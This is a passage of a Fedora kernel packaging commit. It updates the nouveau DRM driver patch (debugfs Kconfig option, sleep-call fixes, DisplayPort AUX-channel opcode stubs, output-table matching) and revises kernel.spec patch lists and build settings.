 drivers/gpu/drm/nouveau/nv50_fifo.c         |  493 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  465 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |22284 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  254 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 58983 insertions(+)

Index: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/drm-nouveau.patch,v
retrieving revision 1.8.6.22
retrieving revision 1.8.6.23
diff -u -p -r1.8.6.22 -r1.8.6.23
--- drm-nouveau.patch	10 Oct 2009 15:04:10 -0000	1.8.6.22
+++ drm-nouveau.patch	16 Oct 2009 16:09:20 -0000	1.8.6.23
@@ -1,8 +1,8 @@
 diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
-index e4d971c..7fe8a4c 100644
+index e4d971c..62dd13c 100644
 --- a/drivers/gpu/drm/Kconfig
 +++ b/drivers/gpu/drm/Kconfig
-@@ -153,3 +153,48 @@ config DRM_SAVAGE
+@@ -153,3 +153,59 @@ config DRM_SAVAGE
  	help
  	  Choose this option if you have a Savage3D/4/SuperSavage/Pro/Twister
  	  chipset. If M is selected the module will be called savage.
@@ -29,6 +29,9 @@ index e4d971c..7fe8a4c 100644
 +	and you have a new enough userspace to support this. Running old
 +	userspaces with this enabled will cause pain.
 +
++	NOTICE: if you plan on using the text based console outside of X, enable
++	FRAMEBUFFER_CONSOLE or else the console will be unusable.
++
 +config DRM_NOUVEAU_BACKLIGHT
 +	bool "Support for backlight control"
 +	depends on DRM_NOUVEAU
@@ -37,6 +40,14 @@ index e4d971c..7fe8a4c 100644
 +	  Say Y here if you want to control the backlight of your display
 +	  (e.g. a laptop panel).
 +
++config DRM_NOUVEAU_DEBUG
++	bool "Build in Nouveau's debugfs support"
++	depends on DRM_NOUVEAU && DEBUG_FS
++	default y
++	help
++	  Say Y here if you want Nouveau to output debugging information
++	  via debugfs.
++
 +menu "I2C encoder or helper chips"
 +     depends on DRM
 +
@@ -1439,7 +1450,7 @@ index 0000000..b06d3d9
 +#endif
 diff --git a/drivers/gpu/drm/nouveau/Makefile b/drivers/gpu/drm/nouveau/Makefile
 new file mode 100644
-index 0000000..ab46e3a
+index 0000000..e12b4ff
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/Makefile
 @@ -0,0 +1,29 @@
@@ -1454,7 +1465,6 @@ index 0000000..ab46e3a
 +             nouveau_bo.o nouveau_fence.o nouveau_gem.o nouveau_ttm.o \
 +             nouveau_hw.o nouveau_calc.o nouveau_bios.o nouveau_i2c.o \
 +	     nouveau_display.o nouveau_connector.o nouveau_fbcon.o \
-+	     nouveau_debugfs.o \
 +             nv04_timer.o \
 +             nv04_mc.o nv40_mc.o nv50_mc.o \
 +             nv04_fb.o nv10_fb.o nv40_fb.o \
@@ -1467,6 +1477,7 @@ index 0000000..ab46e3a
 +             nv04_dac.o nv04_dfp.o nv04_tv.o nv17_tv.o nv17_tv_modes.o \
 +             nv04_crtc.o nv04_display.o nv04_cursor.o nv04_fbcon.o
 +
++nouveau-$(CONFIG_DRM_NOUVEAU_DEBUG) += nouveau_debugfs.o
 +nouveau-$(CONFIG_COMPAT) += nouveau_ioc32.o
 +nouveau-$(CONFIG_DRM_NOUVEAU_BACKLIGHT) += nouveau_backlight.o
 +nouveau-$(CONFIG_ACPI) += nouveau_acpi.o
@@ -1766,10 +1777,10 @@ index 0000000..20564f8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.c b/drivers/gpu/drm/nouveau/nouveau_bios.c
 new file mode 100644
-index 0000000..7a55199
+index 0000000..1c13f5f
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.c
-@@ -0,0 +1,5536 @@
+@@ -0,0 +1,5709 @@
 +/*
 + * Copyright 2005-2006 Erik Waling
 + * Copyright 2006 Stephane Marchesin
@@ -1812,8 +1823,6 @@ index 0000000..7a55199
 +#define BIOSLOG(sip, fmt, arg...) NV_DEBUG(sip->dev, fmt, ##arg)
 +#define LOG_OLD_VALUE(x)
 +
-+#define BIOS_USLEEP(n) mdelay((n)/1000)
-+
 +#define ROM16(x) le16_to_cpu(*(uint16_t *)&(x))
 +#define ROM32(x) le32_to_cpu(*(uint32_t *)&(x))
 +
@@ -2058,7 +2067,7 @@ index 0000000..7a55199
 +{
 +#if 0
 +	sync();
-+	BIOS_USLEEP(2000);
++	msleep(2);
 +#endif
 +}
 +
@@ -2068,10 +2077,15 @@ index 0000000..7a55199
 +	if (nv_arch(bios->dev) < NV_50)
 +		return reg;
 +
++	if (!(reg & 0x40000000))
++		return reg;
++
++	BUG_ON(!bios->display.output);
++
 +	if (reg & 0x40000000)
-+		reg += bios->display.head * 0x800;
++		reg += (ffs(bios->display.output->or) - 1) * 0x800;
 +
-+	reg &= ~(0x40000000);
++	reg &= ~0x40000000;
 +	return reg;
 +}
 +
@@ -3400,6 +3414,7 @@ index 0000000..7a55199
 +
 +	uint8_t cond = bios->data[offset + 1];
 +	uint16_t retries = bios->data[offset + 2] * 50;
++	unsigned cnt;
 +
 +	if (!iexec->execute)
 +		return true;
@@ -3410,19 +3425,23 @@ index 0000000..7a55199
 +	BIOSLOG(bios, "0x%04X: Condition: 0x%02X, Retries: 0x%02X\n",
 +		offset, cond, retries);
 +
-+	for (; retries > 0; retries--)
++	for (cnt = 0; cnt < retries; cnt++) {
 +		if (bios_condition_met(bios, offset, cond)) {
-+			BIOSLOG(bios, "0x%04X: Condition met, continuing\n", offset);
++			BIOSLOG(bios, "0x%04X: Condition met, continuing\n",
++								offset);
 +			break;
 +		} else {
-+			BIOSLOG(bios, "0x%04X: Condition not met, sleeping for 20ms\n", offset);
-+			BIOS_USLEEP(20000);
++			BIOSLOG(bios, "0x%04X: "
++				"Condition not met, sleeping for 20ms\n",
++								offset);
++			msleep(20);
 +		}
++	}
 +
 +	if (!bios_condition_met(bios, offset, cond)) {
 +		NV_WARN(bios->dev,
 +			"0x%04X: Condition still not met after %dms, "
-+			"skiping following opcodes\n", offset, 20 * retries);
++			"skipping following opcodes\n", offset, 20 * retries);
 +		iexec->execute = false;
 +	}
 +
@@ -3665,7 +3684,7 @@ index 0000000..7a55199
 +	bios_wr32(bios, NV_PBUS_PCI_NV_19, 0);
 +	bios_wr32(bios, reg, value1);
 +
-+	BIOS_USLEEP(10);
++	udelay(10);
 +
 +	bios_wr32(bios, reg, value2);
 +	bios_wr32(bios, NV_PBUS_PCI_NV_19, pci_nv_19);
@@ -4065,7 +4084,7 @@ index 0000000..7a55199
 +	 * Sleep for "time" microseconds.
 +	 */
 +
-+	uint16_t time = ROM16(bios->data[offset + 1]);
++	unsigned time = ROM16(bios->data[offset + 1]);
 +
 +	if (!iexec->execute)
 +		return true;
@@ -4073,7 +4092,10 @@ index 0000000..7a55199
 +	BIOSLOG(bios, "0x%04X: Sleeping for 0x%04X microseconds\n",
 +		offset, time);
 +
-+	BIOS_USLEEP(time);
++	if (time < 1000)
++		udelay(time);
++	else
++		msleep((time + 900) / 1000);
 +
 +	return true;
 +}
@@ -4534,6 +4556,134 @@ index 0000000..7a55199
 +	return true;
 +}
 +
++static int
++nouveau_dp_auxch_rd(struct nouveau_i2c_chan *auxch, int cmd, int addr,
++		    uint8_t buf[16], int len)
++{
++	NV_ERROR(auxch->dev, "auxch_rd: stub!\n");
++	return -ENODEV;
++}
++
++static int
++nouveau_dp_auxch_wr(struct nouveau_i2c_chan *auxch, int cmd, int addr,
++		    uint8_t buf[16], int len)
++{
++	NV_ERROR(auxch->dev, "auxch_wr: stub!\n");
++	return -ENODEV;
++}
++
++static bool
++init_auxch(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_AUXCH   opcode: 0x98 ('')
++	 *
++	 * offset      (8  bit): opcode
++	 * offset + 1  (32 bit): address
++	 * offset + 5  (8  bit): count
++	 * offset + 6  (8  bit): mask 0
++	 * offset + 7  (8  bit): data 0
++	 *  ...
++	 *
++	 */
++
++	struct drm_device *dev = bios->dev;
++	struct nouveau_i2c_chan *auxch;
++	uint32_t addr = ROM32(bios->data[offset + 1]);
++	uint8_t len = bios->data[offset + 5];
++	uint8_t buf[16];
++	int ret, i;
++
++	if (len > 16) {
++		NV_ERROR(dev, "INIT_AUXCH: >16 byte xfer unimplemented!\n");
++		return false;
++	}
++
++	if (!bios->display.output) {
++		NV_ERROR(dev, "INIT_AUXCH: no active output\n");
++		return false;
++	}
++
++	auxch = init_i2c_device_find(dev, bios->display.output->i2c_index);
++	if (!auxch) {
++		NV_ERROR(dev, "INIT_AUXCH: couldn't get auxch %d\n",
++			 bios->display.output->i2c_index);
++		return false;
++	}
++
++	if (!iexec->execute)
++		return true;
++
++	ret = nouveau_dp_auxch_rd(auxch, 9, addr, buf, len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_AUXCH: rd auxch fail %d\n", ret);
++		return false;
++	}
++
++	offset += 6;
++	for (i = 0; i < len; i++, offset += 2) {
++		buf[i] &= bios->data[offset + 0];
++		buf[i] |= bios->data[offset + 1];
++	}
++
++	ret = nouveau_dp_auxch_wr(auxch, 8, addr, buf, len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_AUXCH: wr auxch fail %d\n", ret);
++		return false;
++	}
++
++	return true;
++}
++
++static bool
++init_zm_auxch(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_ZM_AUXCH   opcode: 0x99 ('')
++	 *
++	 * offset      (8  bit): opcode
++	 * offset + 1  (32 bit): address
++	 * offset + 5  (8  bit): count
++	 * offset + 6  (8  bit): data 0
++	 *  ...
++	 *
++	 */
++
++	struct drm_device *dev = bios->dev;
++	struct nouveau_i2c_chan *auxch;
++	uint32_t addr = ROM32(bios->data[offset + 1]);
++	uint8_t len = bios->data[offset + 5];
++	int ret;
++
++	if (len > 16) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: >16 byte xfer unimplemented!\n");
++		return false;
++	}
++
++	if (!bios->display.output) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: no active output\n");
++		return false;
++	}
++
++	auxch = init_i2c_device_find(dev, bios->display.output->i2c_index);
++	if (!auxch) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: couldn't get auxch %d\n",
++			 bios->display.output->i2c_index);
++		return false;
++	}
++
++	if (!iexec->execute)
++		return true;
++
++	ret = nouveau_dp_auxch_wr(auxch, 8, addr, &bios->data[offset + 6], len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: wr auxch fail %d\n", ret);
++		return false;
++	}
++
++	return true;
++}
++
 +static struct init_tbl_entry itbl_entry[] = {
 +	/* command name                       , id  , length  , offset  , mult    , command handler                 */
 +	/* INIT_PROG (0x31, 15, 10, 4) removed due to no example of use */
@@ -4590,6 +4740,8 @@ index 0000000..7a55199
 +	{ "INIT_RESERVED"                     , 0x92, 1       , 0       , 0       , init_reserved                   },
 +	{ "INIT_96"                           , 0x96, 17      , 0       , 0       , init_96                         },
 +	{ "INIT_97"                           , 0x97, 13      , 0       , 0       , init_97                         },
++	{ "INIT_AUXCH"                        , 0x98, 6       , 5       , 2       , init_auxch                      },
++	{ "INIT_ZM_AUXCH"                     , 0x99, 6       , 5       , 1       , init_zm_auxch                   },
 +	{ NULL                                , 0   , 0       , 0       , 0       , NULL                            }
 +};
 +
@@ -4750,9 +4902,10 @@ index 0000000..7a55199
 +
 +	run_digital_op_script(dev, scriptofs, dcbent, head, bios->fp.dual_link);
 +
-+	if (script == LVDS_PANEL_OFF)
++	if (script == LVDS_PANEL_OFF) {
 +		/* off-on delay in ms */
-+		BIOS_USLEEP(ROM16(bios->data[bios->fp.xlated_entry + 7]));
++		msleep(ROM16(bios->data[bios->fp.xlated_entry + 7]));
++	}
 +#ifdef __powerpc__
 +	/* Powerbook specific quirks */
 +	if (script == LVDS_RESET && ((dev->pci_device & 0xffff) == 0x0179 || (dev->pci_device & 0xffff) == 0x0329))
@@ -5263,6 +5416,40 @@ index 0000000..7a55199
 +	return 0;
 +}
 +
++static uint8_t *
++bios_output_config_match(struct drm_device *dev, struct dcb_entry *dcbent,
++			 uint16_t record, int record_len, int record_nr)
++{
++	struct drm_nouveau_private *dev_priv = dev->dev_private;
++	struct nvbios *bios = &dev_priv->VBIOS;
++	uint32_t entry;
++	uint16_t table;
++	int i, v;
++
++	for (i = 0; i < record_nr; i++, record += record_len) {
++		table = ROM16(bios->data[record]);
++		if (!table)
++			continue;
++		entry = ROM32(bios->data[table]);
++
++		v = (entry & 0x000f0000) >> 16;
++		if (!(v & dcbent->or))
++			continue;
++
++		v = (entry & 0x000000f0) >> 4;
++		if (v != dcbent->location)
++			continue;
++
++		v = (entry & 0x0000000f);
++		if (v != dcbent->type)
++			continue;
++
++		return &bios->data[table];
++	}
++
++	return NULL;
++}
++
 +int
 +nouveau_bios_run_display_table(struct drm_device *dev, struct dcb_entry *dcbent,
 +			       uint32_t sub, int pxclk)
@@ -5294,9 +5481,9 @@ index 0000000..7a55199
 +	struct init_exec iexec = {true, false};
 +	struct nvbios *bios = &dev_priv->VBIOS;
 +	uint8_t *table = &bios->data[bios->display.script_table_ptr];
-+	uint8_t *entry, *otable = NULL;
++	uint8_t *otable = NULL;
 +	uint16_t script;
-+	int i;
++	int i = 0;
 +
 +	if (!bios->display.script_table_ptr) {
 +		NV_ERROR(dev, "No pointer to output script table\n");
@@ -5348,23 +5535,10 @@ index 0000000..7a55199
 +
 +	NV_DEBUG(dev, "Searching for output entry for %d %d %d\n",
 +			dcbent->type, dcbent->location, dcbent->or);
-+	entry = table + table[1];
-+	for (i = 0; i < table[3]; i++, entry += table[2]) {
-+		uint32_t match;
-+
-+		if (ROM16(entry[0]) == 0)
-+			continue;
-+		otable = &bios->data[ROM16(entry[0])];
-+		match = ROM32(otable[0]);
-+
-+		NV_DEBUG(dev, " %d: 0x%08x\n", i, match);
-+		if ((((match & 0x000f0000) >> 16)  & dcbent->or) &&
-+		     ((match & 0x0000000f) >>  0) == dcbent->type &&
-+		     ((match & 0x000000f0) >>  4) == dcbent->location)
-+			break;
-+	}
-+
-+	if (i == table[3]) {
++	otable = bios_output_config_match(dev, dcbent, table[1] +
++					  bios->display.script_table_ptr,
++					  table[2], table[3]);
++	if (!otable) {
 +		NV_ERROR(dev, "Couldn't find matching output script table\n");
 +		return 1;
 +	}
@@ -5384,7 +5558,7 @@ index 0000000..7a55199
 +		}
 +	}
 +
-+	bios->display.head = ffs(dcbent->or) - 1;
++	bios->display.output = dcbent;
 +
 +	if (pxclk == 0) {
 +		script = ROM16(otable[6]);
@@ -7131,6 +7305,16 @@ index 0000000..7a55199
 +	return bios->fp.edid = &bios->data[offset];
 +}
 +
++void
++nouveau_bios_run_init_table(struct drm_device *dev, uint16_t table)
++{
++	struct drm_nouveau_private *dev_priv = dev->dev_private;
++	struct nvbios *bios = &dev_priv->VBIOS;
++	struct init_exec iexec = { true, false };
++
++	parse_init_table(bios, table, &iexec);
++}
++
 +static bool NVInitVBIOS(struct drm_device *dev)
 +{
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
@@ -7308,7 +7492,7 @@ index 0000000..7a55199
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.h b/drivers/gpu/drm/nouveau/nouveau_bios.h
 new file mode 100644
-index 0000000..33f3172
+index 0000000..1ffda97
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.h
 @@ -0,0 +1,236 @@
@@ -7504,7 +7688,7 @@ index 0000000..33f3172
 +	} state;
 +
 +	struct {
-+		int head;
++		struct dcb_entry *output;
 +		uint16_t script_table_ptr;
 +	} display;
 +
@@ -9278,10 +9462,10 @@ index 0000000..8e7a9fe
 +int nouveau_max_ioctl = DRM_ARRAY_SIZE(nouveau_ioctls);
 diff --git a/drivers/gpu/drm/nouveau/nouveau_connector.c b/drivers/gpu/drm/nouveau/nouveau_connector.c
 new file mode 100644
-index 0000000..9a233e0
+index 0000000..81774a5
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_connector.c
-@@ -0,0 +1,781 @@
+@@ -0,0 +1,811 @@
 +/*
 + * Copyright (C) 2008 Maarten Maathuis.
 + * All Rights Reserved.
@@ -9532,6 +9716,10 @@ index 0000000..9a233e0
 +			NV_ERROR(dev, "DDC responded, but no EDID for %s\n",
 +				 drm_get_connector_name(connector));
 +			return connector_status_disconnected;
++		} else
++		if (connector->connector_type == DRM_MODE_CONNECTOR_DisplayPort) {
++			NV_ERROR(dev, "Detected DP connected, ignoring!\n");
++			return connector_status_disconnected;
 +		}
 +
 +		/* Override encoder type for DVI-I based on whether EDID
@@ -9691,14 +9879,40 @@ index 0000000..9a233e0
 +nouveau_connector_native_mode(struct nouveau_connector *connector)
 +{
 +	struct drm_device *dev = connector->base.dev;
-+	struct drm_display_mode *mode;
++	struct drm_display_mode *mode, *largest = NULL;
++	int high_w = 0, high_h = 0, high_v = 0;
 +
++	/* Use preferred mode if there is one.. */
 +	list_for_each_entry(mode, &connector->base.probed_modes, head) {
-+		if (mode->type & DRM_MODE_TYPE_PREFERRED)
++		if (mode->type & DRM_MODE_TYPE_PREFERRED) {
++			NV_DEBUG(dev, "native mode from preferred\n");
 +			return drm_mode_duplicate(dev, mode);
++		}
 +	}
 +
-+	return NULL;
++	/* Otherwise, take the resolution with the largest width, then height,
++	 * then vertical refresh
++	 */
++	list_for_each_entry(mode, &connector->base.probed_modes, head) {
++		if (mode->hdisplay < high_w)
++			continue;
++
++		if (mode->hdisplay == high_w && mode->vdisplay < high_h)
++			continue;
++
++		if (mode->hdisplay == high_w && mode->vdisplay == high_h &&
++		    mode->vrefresh < high_v)
++			continue;
++
++		high_w = mode->hdisplay;
++		high_h = mode->vdisplay;
++		high_v = mode->vrefresh;
++		largest = mode;
++	}
++
++	NV_DEBUG(dev, "native mode from largest: %dx%d@%d\n",
++		      high_w, high_h, high_v);
++	return largest ? drm_mode_duplicate(dev, largest) : NULL;
 +}
 +
 +struct moderec {
@@ -10227,10 +10441,10 @@ index 0000000..49fa7b2
 +#endif /* __NOUVEAU_CRTC_H__ */
 diff --git a/drivers/gpu/drm/nouveau/nouveau_debugfs.c b/drivers/gpu/drm/nouveau/nouveau_debugfs.c
 new file mode 100644
-index 0000000..1ac871b
+index 0000000..6ccafd3
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_debugfs.c
-@@ -0,0 +1,157 @@
+@@ -0,0 +1,155 @@
 +/*
 + * Copyright (C) 2009 Red Hat <bskeggs at redhat.com>
 + *
@@ -10266,7 +10480,6 @@ index 0000000..1ac871b
 +#include "drmP.h"
 +#include "nouveau_drv.h"
 +
-+#if defined(CONFIG_DEBUG_FS)
 +static int
 +nouveau_debugfs_channel_info(struct seq_file *m, void *data)
 +{
@@ -10387,7 +10600,6 @@ index 0000000..1ac871b
 +	drm_debugfs_remove_files(nouveau_debugfs_list, NOUVEAU_DEBUGFS_ENTRIES,
 +				 minor);
 +}
-+#endif
 diff --git a/drivers/gpu/drm/nouveau/nouveau_display.c b/drivers/gpu/drm/nouveau/nouveau_display.c
 new file mode 100644
 index 0000000..dfc9439
@@ -10880,7 +11092,7 @@ index 0000000..2edd38d
 +#endif
 diff --git a/drivers/gpu/drm/nouveau/nouveau_drv.c b/drivers/gpu/drm/nouveau/nouveau_drv.c
 new file mode 100644
-index 0000000..a251712
+index 0000000..d97daf7
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_drv.c
 @@ -0,0 +1,413 @@
@@ -11215,7 +11427,7 @@ index 0000000..a251712
 +	.lastclose = nouveau_lastclose,
 +	.unload = nouveau_unload,
 +	.preclose = nouveau_preclose,
-+#if defined(CONFIG_DEBUG_FS)
++#if defined(CONFIG_DRM_NOUVEAU_DEBUG)
 +	.debugfs_init = nouveau_debugfs_init,
 +	.debugfs_cleanup = nouveau_debugfs_takedown,
 +#endif
@@ -11299,10 +11511,10 @@ index 0000000..a251712
 +MODULE_LICENSE("GPL and additional rights");
 diff --git a/drivers/gpu/drm/nouveau/nouveau_drv.h b/drivers/gpu/drm/nouveau/nouveau_drv.h
 new file mode 100644
-index 0000000..7e8ab42
+index 0000000..08112c9
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_drv.h
-@@ -0,0 +1,1282 @@
+@@ -0,0 +1,1283 @@
 +/*
 + * Copyright 2005 Stephane Marchesin.
 + * All Rights Reserved.
@@ -12073,7 +12285,7 @@ index 0000000..7e8ab42
 +extern struct ttm_backend *nouveau_sgdma_init_ttm(struct drm_device *);
 +
 +/* nouveau_debugfs.c */
-+#if defined(CONFIG_DEBUG_FS)
++#if defined(CONFIG_DRM_NOUVEAU_DEBUG)
 +extern int  nouveau_debugfs_init(struct drm_minor *);
 +extern void nouveau_debugfs_takedown(struct drm_minor *);
 +extern int  nouveau_debugfs_channel_init(struct nouveau_channel *);
@@ -12137,6 +12349,7 @@ index 0000000..7e8ab42
 +extern int nouveau_bios_init(struct drm_device *);
 +extern void nouveau_bios_takedown(struct drm_device *dev);
 +extern int nouveau_run_vbios_init(struct drm_device *);
++extern void nouveau_bios_run_init_table(struct drm_device *, uint16_t table);
 +extern int get_pll_limits(struct drm_device *, uint32_t limit_match,
 +			  struct pll_lims *);
 +extern int nouveau_bios_run_display_table(struct drm_device *,
@@ -32673,7 +32886,7 @@ index 0000000..1f82587
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_dac.c b/drivers/gpu/drm/nouveau/nv50_dac.c
 new file mode 100644
-index 0000000..5ba5139
+index 0000000..3233926
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_dac.c
 @@ -0,0 +1,295 @@
@@ -32896,10 +33109,10 @@ index 0000000..5ba5139
 +		mode_ctl |= NV50_EVO_DAC_MODE_CTRL_CRTC0;
 +
 +	/* Lacking a working tv-out, this is not a 100% sure. */
-+	if (to_drm_encoder(encoder)->encoder_type == DRM_MODE_ENCODER_DAC)
++	if (encoder->dcb->type == OUTPUT_ANALOG)
 +		mode_ctl |= 0x40;
 +	else
-+	if (to_drm_encoder(encoder)->encoder_type == DRM_MODE_ENCODER_TVDAC)
++	if (encoder->dcb->type == OUTPUT_TV)
 +		mode_ctl |= 0x100;
 +
 +	if (adjusted_mode->flags & DRM_MODE_FLAG_NHSYNC)
@@ -58152,10 +58365,10 @@ index 0000000..e0a9c3f
 +}
 diff --git a/drivers/gpu/drm/nouveau/nv50_sor.c b/drivers/gpu/drm/nouveau/nv50_sor.c
 new file mode 100644
-index 0000000..a2dee96
+index 0000000..fe69476
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_sor.c
-@@ -0,0 +1,250 @@
+@@ -0,0 +1,254 @@
 +/*
 + * Copyright (C) 2008 Maarten Maathuis.
 + * All Rights Reserved.
@@ -58304,10 +58517,14 @@ index 0000000..a2dee96
 +
 +	nv50_sor_dpms(drm_encoder, DRM_MODE_DPMS_ON);
 +
-+	if (to_drm_encoder(encoder)->encoder_type != DRM_MODE_ENCODER_LVDS) {
++	switch (encoder->dcb->type) {
++	case OUTPUT_TMDS:
 +		mode_ctl |= NV50_EVO_SOR_MODE_CTRL_TMDS;
 +		if (adjusted_mode->clock > 165000)
 +			mode_ctl |= NV50_EVO_SOR_MODE_CTRL_TMDS_DUAL_LINK;
++		break;
++	default:
++		break;
 +	}
 +
 +	if (crtc->index == 1)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1294.2.71
retrieving revision 1.1294.2.72
diff -u -p -r1.1294.2.71 -r1.1294.2.72
--- kernel.spec	10 Oct 2009 15:04:13 -0000	1.1294.2.71
+++ kernel.spec	16 Oct 2009 16:09:24 -0000	1.1294.2.72
@@ -41,7 +41,7 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 3
+%define stable_update 4
 # Is it a -stable RC?
 %define stable_rc 0
 # Set rpm version accordingly
@@ -493,12 +493,7 @@ BuildRequires: module-init-tools, patch 
 BuildRequires: bzip2, findutils, gzip, m4, perl, make >= 3.78, diffutils, gawk
 BuildRequires: gcc >= 3.4.2, binutils >= 2.12, redhat-rpm-config
 BuildRequires: net-tools
-%if %{with_doc}
-BuildRequires: xmlto
-%if %{with_perf}
-BuildRequires: asciidoc
-%endif
-%endif
+BuildRequires: xmlto, asciidoc
 %if %{with_sparse}
 BuildRequires: sparse >= 0.4.1
 %endif
@@ -670,9 +665,6 @@ Patch671: linux-2.6-ahci-export-capabili
 
 Patch687: linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
-Patch700: linux-2.6.31-nx-data.patch
-Patch701: linux-2.6.31-modules-ro-nx.patch
-
 Patch800: linux-2.6-crash-driver.patch
 
 Patch900: linux-2.6-pci-cacheline-sizing.patch
@@ -731,6 +723,7 @@ Patch2904: v4l-dvb-fix-cx25840-firmware-
 # NFSv4
 Patch3050: linux-2.6-nfsd4-proots.patch
 Patch3060: linux-2.6-nfs4-ver4opt.patch
+Patch3061: linux-2.6-nfs4-callback-hidden.patch
 
 # VIA Nano / VX8xx updates
 Patch11010: via-hwmon-temp-sensor.patch
@@ -743,11 +736,28 @@ Patch12013: linux-2.6-rfkill-all.patch
 Patch12014: linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
-Patch13000: linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 Patch14002: linux-2.6-raidlockdep.patch
 
+# make perf counter API available to userspace (#527264)
+Patch14010: perf-make-perf-counter-h-available-to-userspace.patch
+
+# Fix 2.6.31 regression that caused device failures with ACPI enabled.
+Patch14100: pci-increase-alignment-to-make-more-space.patch
+
+# fix resource counter issues on *big* machines
+Patch14101: improve-resource-counter-scalability.patch
+
+# fix boot hang on some systems
+Patch14200: acpi-revert-attach-device-to-handle-early.patch
+
+# disable 64-bit DMA on SB600 SATA controllers
+Patch14300: ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
+
+# fix ACPI boot hang/crash (#513680)
+Patch14400: acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
+
 Patch19997: xen.pvops.pre.patch
 Patch19998: xen.pvops.patch
 Patch19999: xen.pvops.post.patch
@@ -1228,6 +1238,7 @@ ApplyPatch linux-2.6-execshield.patch
 # NFSv4
 ApplyPatch linux-2.6-nfsd4-proots.patch
 ApplyPatch linux-2.6-nfs4-ver4opt.patch
+ApplyPatch linux-2.6-nfs4-callback-hidden.patch
 
 # USB
 ApplyPatch linux-2.6-driver-level-usb-autosuspend.diff
@@ -1315,12 +1326,6 @@ ApplyPatch linux-2.6-ahci-export-capabil
 # iwlagn quiet
 ApplyPatch linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
-# Mark kernel data as NX
-ApplyPatch linux-2.6.31-nx-data.patch
-# Apply NX/RO to modules
-# breaks ftrace NOP replacement
-#ApplyPatch linux-2.6.31-modules-ro-nx.patch
-
 # /dev/crash driver.
 ApplyPatch linux-2.6-crash-driver.patch
 
@@ -1393,11 +1398,27 @@ ApplyPatch linux-2.6-rfkill-all.patch
 ApplyPatch linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
-ApplyPatch linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 ApplyPatch linux-2.6-raidlockdep.patch
 
+# make perf counter API available to userspace (#527264)
+ApplyPatch perf-make-perf-counter-h-available-to-userspace.patch
+
+# Fix 2.6.31 regression that caused device failures with ACPI enabled.
+ApplyPatch pci-increase-alignment-to-make-more-space.patch
+
+ApplyPatch improve-resource-counter-scalability.patch
+
+# fix boot hang on some systems
+ApplyPatch acpi-revert-attach-device-to-handle-early.patch
+
+# disable 64-bit DMA on SB600 SATA controllers
+ApplyPatch ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
+
+# fix ACPI boot hang/crash (#513680)
+ApplyPatch acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
+
 ApplyPatch xen.pvops.pre.patch
 ApplyPatch xen.pvops.patch
 ApplyPatch xen.pvops.post.patch
@@ -1491,11 +1512,6 @@ BuildKernel() {
     # make sure EXTRAVERSION says what we want it to say
     perl -p -i -e "s/^EXTRAVERSION.*/EXTRAVERSION = %{?stablerev}-%{release}.%{_target_cpu}${Flavour:+.${Flavour}}/" Makefile
 
-    cat >> Makefile <<\EOF
-# XXX temp workaround for https://bugzilla.redhat.com/show_bug.cgi?id=521991
-KBUILD_CFLAGS += $(call cc-option,-fno-var-tracking-assignments)
-EOF
-
     # if pre-rc1 devel kernel, must fix up SUBLEVEL for our versioning scheme
     %if !0%{?rcrev}
     %if 0%{?gitrev}
@@ -1653,7 +1669,7 @@ hwcap 0 nosegneg"
     collect_modules_list networking \
     			 'register_netdev|ieee80211_register_hw|usbnet_probe'
     collect_modules_list block \
-    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register'
+    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register|scsi_register_device_handler'
     collect_modules_list drm \
     			 'drm_open|drm_init'
     collect_modules_list modesetting \
@@ -1722,17 +1738,19 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 
 %if %{with_doc}
